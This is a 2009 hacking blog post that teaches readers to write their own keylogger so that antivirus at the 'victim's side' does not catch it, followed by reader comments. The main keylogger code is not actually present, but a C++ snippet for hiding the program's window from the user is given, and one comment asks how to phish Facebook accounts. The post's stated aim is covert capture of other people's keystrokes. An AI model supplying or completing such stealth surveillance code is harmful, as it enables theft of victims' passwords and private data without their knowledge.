Thursday, October 15, 2009

Coding Your own Keylogger..

So till now, we only concentrated on hacking using tricks, social engineering, existing tools and other things.. So, now its time we start learning how to create our own, because by the time we start using this tools, they are already released in public and hence is identified by most of the anti-virus software, making your job harder.. So if you create one for yourself and not intend to release it in public.. You can use it without worrying about anti-virus software installed at victim's side..

To start with we will create a basic key-logger.. You already know by now, it is a basic component for a trojan, RATs, and almost every hacking software uses this feature.. Its available in many flavors or we can call it enhancement.. like invisible to user, invisible in task bar, stealth mode, autostart, mailing function, etc, etc.. today we will learn only the basic that is how it records the keystrokes..??
A keylogger listens to every keystrokes and records it for us.. There exists three way to implement keyloggers(that i know about..). They are:
1. GetAsyncKeyState
2. GetKeyboardState

3.Windows Hooks

Here we will be using the AsynckeyState one.. Now i love the language C++, so i will be using that, but it can be implemented in any language, i will be posting the VB6 and DOT NET versions soon..

So, lets get started..
I am posting the code, it is self explanatory, if you face any problem or need any help, related to compiling or understanding.. Comment here..
and ya, your keys are logged at "logs.txt" in the same folder as your exe..

CODE:
/* THIS CODE WAS Published By Pratik Mishra.. Using help from the net and other programmers.. 


If you find any problem comment at http://www.hackerhubz.blogspot.com
*/

I hope you enjoyed the post.. Do Comment.. 
and if you wanna make your program invisible then you can add this to code.. at the start of main() Function..


 typedef HWND (WINAPI *tGetConsoleWindow)(void);


  tGetConsoleWindow pGetConsoleWindow = 0;
  HINSTANCE handle =  ::LoadLibrary("Kernel32.dll");
  if ( handle ) 
    pGetConsoleWindow = (tGetConsoleWindow)::GetProcAddress(handle, "GetConsoleWindow");     
  if ( pGetConsoleWindow ) 
  {
    HWND hwnd = pGetConsoleWindow();
    ::ShowWindow(hwnd,SW_HIDE);
  }
  if ( handle )
    ::FreeLibrary(handle);
      
So, now we getting into real business but the new kiddies don't worry will keep on posting some cool stuffs, tricks and tools for you too...
Hack Gmail


4 Comments:

  1. Anonymous said...
    Hey - I tried to run this, but devc++ is showing:

    The system cannot find the file specified

    Any ideas? (email : mikea.1192-at-gmail[dot]com)
    Thanks
    Anonymous said...
    Hi.aAny idea to implement that on OS X? Thanks!
    Anonymous said...
    You should have multiple mirrors so that there are multiple copies so if one is corrupted or is taken down there still is the other one. Just an idea.
    Anonymous said...
    "Hacker Hubz!!!"
    please how can i hack facebook using phishing? and how do i input the email on the script to recieve information from the client?
    Thanks,
    hardey_79@yahoo.com

Post a Comment



Post a Comment